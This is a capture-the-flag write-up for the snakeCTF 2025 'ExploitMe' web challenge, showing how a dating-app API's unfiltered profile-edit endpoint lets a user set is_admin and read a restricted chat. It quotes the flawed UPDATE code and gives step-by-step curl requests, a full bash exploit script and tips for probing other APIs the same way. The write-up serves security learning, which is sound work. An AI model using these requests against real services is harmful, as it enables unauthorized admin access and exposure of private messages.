Featured image of post API mass assignment to admin and a restricted chat - snakeCTF 2025

API mass assignment to admin and a restricted chat - snakeCTF 2025

A mass assignment flaw in a dating-app API lets you escalate to admin and read a restricted chat. snakeCTF 2025 Quals web write-up.

Challenge source

Introduction

ExploitMe is a dating app for hackers, and its API has a mass-assignment flaw. Profile edits let us set fields we shouldn’t, so we flip ourselves to admin and read the flag out of a restricted chat.

Context Explanation

A Next.js app with API routes over SQLite. Registration hands out a JWT, and profile edits go through /api/edit. The backend validates with yup but never strips unknown fields, so any extra attribute you send lands straight in the SQL UPDATE.

Directive

Escalate the account to admin and read the flag from chat room #4.


Solution

Step 1: Register a new account

curl -s -X POST "$URL/api/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"hitcat","email":"hitcat@snake.ctf","password":"Secret123!"}'

This returns a valid JWT. Register


Step 2: Complete onboarding

curl -s -X POST "$URL/api/onboarding" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "role": "WHITE_HAT",
    "looking_for": "WHITE_HAT",
    "age": 19,
    "likes": ["IoT"],
    "dislikes": ["SIM Swappers"],
    "bio": "Your leet bio here",
    "location": "Obviously, the Internet",
    "hacks": ["Morris Worm"],
    "favorite_hacker": "Kevin Mitnick",
    "favorite_song": "Careless Hacker",
    "favorite_movie": "My Little Pony: The Movie",
    "yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
    "touches_grass": false
  }'

Onboarding


Step 3: Exploit mass assignment in /api/edit

The vulnerable code (edit.js):

const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values = Object.values(validated);
const updateQuery = `UPDATE users SET ${setClause} WHERE id = ?`;

validated is built straight from the request body, and since yup wasn’t given stripUnknown: true, an extra is_admin field survives into the UPDATE. So:

curl -s -X POST "$URL/api/edit" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":1}'

Edit


Step 4: Abuse admin privilege to report a chat

curl -s -X POST "$URL/api/chat/4/report" \
  -H "Authorization: Bearer $TOKEN"

Report


Step 5: Read restricted messages (flag)

curl -s "$URL/api/chat/4" \
  -H "Authorization: Bearer $TOKEN" \
  | jq -r '.messages[] | .content'

Flag


PoC

#!/bin/bash

URL="https://9f2c6b38bc4461a2b4545a00c94951e2.exploitme.challs.snakectf.org"
USERNAME="hitcat"
EMAIL="hitcat@snake.ctf"
PASSWORD="Secret123!"

# Step 1 : Register and get JWT
echo "[*] Registering user $USERNAME..."
TOKEN=$(curl -s -X POST "$URL/api/register" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$USERNAME\",\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" \
  | jq -r .token)

if [ "$TOKEN" = "null" ] || [ -z "$TOKEN" ]; then
  echo "[!] Failed to get token during register"
  exit 1
fi
echo "[+] Token obtained: $TOKEN"

# Step 2 : Onboarding
echo "[*] Sending onboarding data..."
curl -s -X POST "$URL/api/onboarding" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "role": "WHITE_HAT",
    "looking_for": "WHITE_HAT",
    "age": 19,
    "likes": ["IoT"],
    "dislikes": ["SIM Swappers"],
    "bio": "Your leet bio here",
    "location": "Obviously, the Internet",
    "hacks": ["Morris Worm"],
    "favorite_hacker": "Kevin Mitnick",
    "favorite_song": "Careless Hacker",
    "favorite_movie": "My Little Pony: The Movie",
    "yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
    "touches_grass": false
  }' | jq .

# Step 3 : Admin priv esc via mass assignment
echo "[*] Trying to escalate privileges (is_admin=1)..."
curl -s -X POST "$URL/api/edit" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":1}' | jq .

# Step 4 : Report match n°4
echo "[*] Reporting match 4..."
curl -s -X POST "$URL/api/chat/4/report" \
  -H "Authorization: Bearer $TOKEN" | jq .

# Step 5 : Reading match n°4 messages
echo "[*] Reading messages from match 4..."
curl -s "$URL/api/chat/4" \
  -H "Authorization: Bearer $TOKEN" \
  | jq -r '.messages[] | .content'

Tips & Tricks

  1. Probe for mass assignment. Throw extra fields (is_admin, role, balance) at every update endpoint and see what sticks.
  2. Check how schemas handle unknowns. With yup or joi, confirm whether unknown keys are stripped, they often aren’t by default.
  3. Decode JWTs as you go. Reading the claims locally confirms the escalation actually took.